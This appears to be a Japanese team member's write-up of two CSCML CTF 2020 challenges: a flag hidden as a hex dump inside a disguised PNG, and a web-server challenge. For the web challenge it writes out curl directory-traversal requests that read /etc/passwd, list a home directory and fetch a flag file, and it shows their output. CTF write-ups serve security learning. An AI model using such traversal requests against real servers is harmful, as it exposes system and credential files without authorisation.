CSCML CTF 2020 Writeup

この大会は2020/7/2 15:00(JST)~2020/7/3 18:00(JST)に開催されました。
今回もチームで参戦。結果は300点で230チーム中119位でした。
自分で解けた問題をWriteupとして書いておきます。

Censored (misc)

pdf拡張子のファイルが添付されているが、バイナリディタで見たら、PNGファイルのフォーマットになっていることがわかる。
f:id:satou-y:20200708221125p:plain
PNG画像を見ると、hexdumpの画像になっていて、テキストの方だけフラグが隠されているので、hexデコードする。

495f6b6e6f775f796f755f7468696e6b
5f796f755f756e6465727374616e645f
776861745f796f755f74686f75676874
5f495f736169645f6275745f495f616d
5f6e6f745f737572655f796f755f7265
616c697a655f746861745f776861745f
796f755f68656172645f69735f6e6f74
5f776861745f49206d65616e74
>>> '495f6b6e6f775f796f755f7468696e6b'.decode('hex')
'I_know_you_think'
>>> '5f796f755f756e6465727374616e645f'.decode('hex')
'_you_understand_'
>>> '776861745f796f755f74686f75676874'.decode('hex')
'what_you_thought'
>>> '5f495f736169645f6275745f495f616d'.decode('hex')
'_I_said_but_I_am'
>>> '5f6e6f745f737572655f796f755f7265'.decode('hex')
'_not_sure_you_re'
>>> '616c697a655f746861745f776861745f'.decode('hex')
'alize_that_what_'
>>> '796f755f68656172645f69735f6e6f74'.decode('hex')
'you_heard_is_not'
>>> '5f776861745f49206d65616e74'.decode('hex')
'_what_I meant'
CSCML2020{I_know_you_think_you_understand_what_you_thought_I_said_but_I_am_not_sure_you_realize_that_what_you_heard_is_not_what_I meant}

WebServer I (web)

tiny-web-serverということで、ディレクトリトラバーサルができる。

$ curl http://ctf.cscml.zenysec.com:20001/../../../../..//etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
ctf:x:1000:1000:,,,:/home/ctf:/bin/bash

$ curl http://ctf.cscml.zenysec.com:20001/../../../../..//home/ctf
<html><head><style>body{font-family: monospace; font-size: 13px;}td {padding: 1.5px 6px;}</style></head><body><table>
<tr><td><a href=".bash_logout">.bash_logout</a></td><td>2020-06-30 22:58</td><td>220</td></tr>
<tr><td><a href=".profile">.profile</a></td><td>2020-06-30 22:58</td><td>807</td></tr>
<tr><td><a href=".bashrc">.bashrc</a></td><td>2020-06-30 22:58</td><td>3.7K</td></tr>
<tr><td><a href="flag.txt">flag.txt</a></td><td>2020-06-27 14:16</td><td>37</td></tr>
<tr><td><a href="www/">www/</a></td><td>2020-06-30 22:58</td><td>[DIR]</td></tr>
<tr><td><a href="chall">chall</a></td><td>2020-06-30 22:58</td><td>16.9K</td></tr>
</table></body></html>

$ curl http://ctf.cscml.zenysec.com:20001/../../../../..//home/ctf/flag.txt
CSCML2020{k33p_c41m_4nd_235342ch_0n}
CSCML2020{k33p_c41m_4nd_235342ch_0n}